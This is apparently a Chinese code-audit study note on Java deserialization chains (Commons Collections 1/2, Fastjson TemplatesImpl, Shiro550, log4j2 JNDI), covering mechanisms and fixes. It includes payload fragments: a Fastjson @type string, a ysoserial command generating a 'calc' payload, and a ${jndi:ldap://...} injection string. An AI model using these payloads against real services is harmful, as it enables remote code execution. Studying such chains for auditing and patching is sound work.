代码审计
1 | Common Collections 1,2 |
Common Collection 1
- commons-collections3.1-3.2.1,jdk1.7.1以下
- 流程
- 漏洞点:在3.1和jdk1.7.1之前,InvokerTransformer的transform数组可控
- 关键点:AnnotationInvocationHandler反序列化,LazyMap+动态代理
- 调用链:transform能够被LazyMap的get方法进行调用,LazyMap链的调用是通过AnnotationInvocationHandler类的动态代理实现的,在handler的反序列化readObject中,会调用到memberValues的方法,memberValues设置为LazyMap的实例,因为挂了一层动态代理,所以会调用到LazyMap的invoke方法,invoke方法中调用了memberValues的get方法,接着调用transform,形成调用链。
LazyMap链:
1 | Transformer[] transformers = new Transformer[]{ |
问题
LazyMap类如何构造利用链?
核心漏洞函数是InvokerTransformer类的transform方法,然后transform可控,是漏洞点。LazyMap需要通过调用本身的get方法继续往下调用到transform,则需要往上找到能够进行反序列化的地方,即怎么调用get方法,通过动态代理利用annotationInvocationHandler的invoke调用到memberValues的get再调用到LazyMap的get方法。
需要一个类在反序列化的时候触发LazyMap类的get方法?
annotationInvocationHandler初始化时,将LazyMap放入到memberValues中,然后触发invoke方法调用memberValues.get方法
如何去调用AnnotationInvocationHandler类中的invoke方法?
将LazyMap通过AnnotationInvocationHandler挂上动态代理,根据动态代理,每个具有代理对象的方法被调用时都会触发invoke方法。
修复
1 | 3.2.2 |
Common Collections 2
利用过程:
1
2
31. 构造一个TestTemplatesImpl恶意类转成字节码,然后通过反射将恶意类的字节码注入到TemplatesImpl对象的_bytecodes属性(构造利用核心代码)
2. 创建一个InvokerTransformer并传递一个newTransformer方法,然后将InvokerTransformer方法名传递给TransformingComparator(这一步和CC1链非常相似)
3. 通过反射构造PriorityQueue队列的comparator和queue两个字段,将PriorityQueue队列的comparator字段设置为TransformingComparator,然后将queue字段设置为TemplatesImpl对象,触发利用链
特征
1 | //漏洞点: |
修复
1 | 和CC1一样直接拉黑InvokerTransformer |
Fastjson <1.2.24
1 | String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", " + |
_tfactory:在调用TemplatesImpl利用链时,defineTransletClasses方法内部会通过_tfactory属性调用一个getExternalExtensionsMap方法,如果_tfactory属性为null则会抛出异常,无法根据_bytecodes属性的内容加载并实例化恶意类
_outputProperties:json数据在反序列化时会调用TemplatesImpl类的getOutputProperties方法触发利用链,可以理解为outputProperties属性的作用就是为了调用getOutputProperties方法。
问题
_bytecodes为什么需要base64编码?
- fieldValueDeserilizer的deserialze方法设置到对象中之前调用了bytesvalue()方法,方法内部对_bytecodes进行了base64的解码
如何在fastjson的parseObject()反序列化的过程中触发漏洞点?
- 核心漏洞点函数getOutputProperties方法,setValue函数中用于反射调用的method属性中设置了
public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(),从而调用触发调用链。
- 核心漏洞点函数getOutputProperties方法,setValue函数中用于反射调用的method属性中设置了
_name为什么需要设置?
在getTransletInstance内部要满足如下条件
1
2
3
4
5
6
7
8
9
10
11
12if (_name == null) return null; //_name不为空
if (_class == null) defineTransletClasses(); //_class为空
//defineTransletClasses
{
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { //_bytecodes对应类需要继承AbstractTranslet类
_transletIndex = i;
}
}
fastjson在反序列化过程中具体是如何调用属性的getter方法的?
答案是JavaBeanInfo类中有一个build方法,当通过@type获取TemplatesImpl类的calss对象后,会通过反射获取该类的class对象的所有方法并封装到Method数组中。然后通过for循环遍历Method获取getter方法,并将outputProperties属性和getter方法(getOutputProperties方法)一起封装到FieldInfo,从代码中确实可以看到add方法会将FieldInfo放到了一个fieldList中,然后将fieldList封装到JavaBeanInfo
Shiro550
- 认证调用链
特征:登录返回包中在Set-Cookie字段中出现rememberMe=deleteMe,可能有Shiro反序列化漏洞
登录后不对发送包中的Cookie进行反序列化,编写Poc时需要在未登录的情况下进行提交
1
2//利用ysoserial生成CC2 POC链
java8 -jar ysoserial.jar CommonsCollections2 "calc" > poc.txt加密方式
漏洞调用链:
在对请求Filter进行拦截,并通过SecurityManager创建请求对应的Subject的过程中解析身份信息resolvePrincipals时,org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity向下调用了getRememberedSerializedIdentity获取得到请求request中Cookie的rememberMe的值,解密后利用deserialize直接进行反序列化造成任意命令执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
//org.apache.shiro.io.DefaultSerializer#deserialize
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) { //只进行了null判断
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}密钥设置

log4j2
基础
JNDI (Java Naming and Directory Interface)
JDNI通过绑定的概念将对象和名称联系起来,JNDI中的一组绑定作为上下文来引用。每个上下文提供了一个查找操作,返回指定名字的相应对象。每个上下文都提供了绑定和撤除绑定名字到某个对象的操作。
LDAP(Light Directory Access Portocol)
LDAP是一个目录服务,可以通过目录路径查询到对应目录下的对象(文件)等。即其也是JNDI的实现,通过名称(目录路径)查询到对象(目录下的文件)。
Codebase
Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。
低版本触发漏洞
- 影响范围:
< JDK 8u_191
漏洞原理
1
2
3
4
5
6${jndi:ldap://localhost:9999/test}
关键就如下几步:
1、攻击者发送带有恶意Ldap内容的字符串,让服务通过log4j2打印
2、log4j2解析到ldap内容,会调用底层Java去执行Ldap的lookup操作。
3、Java底层请求Ldap服务器(恶意服务器),得到了Codebase地址,告诉客户端去该地址获取他需要的类。
4、Java请求Codebase服务器(恶意服务器)获取到对应的类(恶意类),并在本地加载和实例化(触发恶意代码)。
问题:
此攻击为什么对高版本无效?
因为高版本在VersionHelper12的loadClass设置验证了trustURLCodebase是不是设置为false,默认情况下是设置的false,所以无法利用

高版本触发漏洞
- 基础
- lookup:当Java底层请求Ldap服务器后,Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion,以及一些额外参数。客户端获得这些参数之后主要做一件事情:构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。
- javaFactory是ObjectFactory类子类,来源有:1.Codebase,2.本地(ldap返回Codebase地址或者返回javaFactory对应的类地址) // 本地方式:需要找到本地哪些javaFactory存在一些可以被利用的漏洞。
- lookup:当Java底层请求Ldap服务器后,Ldap主要返回了三个主要参数javaClassName、javaFactory、JavaFactoryLocaltion,以及一些额外参数。客户端获得这些参数之后主要做一件事情:构造需要的类实例。即客户端通过javaFactory类来构建实现我们需要的JavaClassName指定的实例。
利用方式
关键类:BeanFactory,该Factory我们可以通过默认构造函数实例化任意一个类,并调用其任意的只有一个String入参的公共方法,且其方法名可以不用是标准setter的名称,而可以是任意名称。
Ldap服务器返回JavaFactory=org.apache.naming.factory.BeanFactory,javaClassName=javax.el.ELProcessor。同时传递参数x=上述恶意代码,forceString="x=eval"。 1、直接在本地加载和实例化BeanFactory工厂,得到BeanFacory实例 2、BeanFactory工厂通过默认构造函数实例化javax.el.ELProcessor,得到ELProcessor实例 3、Ldap告诉BeanFactory,ELProcessor有一个string类型的变量x(实际没有),其内容为恶意代码块,且该变量的setter方法名为eval。 4、BeanFactory就会执行ELProcessor实例的eval方法,且入参为恶意代码块。
修复
- 新增消息的Lookup开关(默认关闭),默认不解析${}配置
- 新增白名单:给协议、class和域名都添加白名单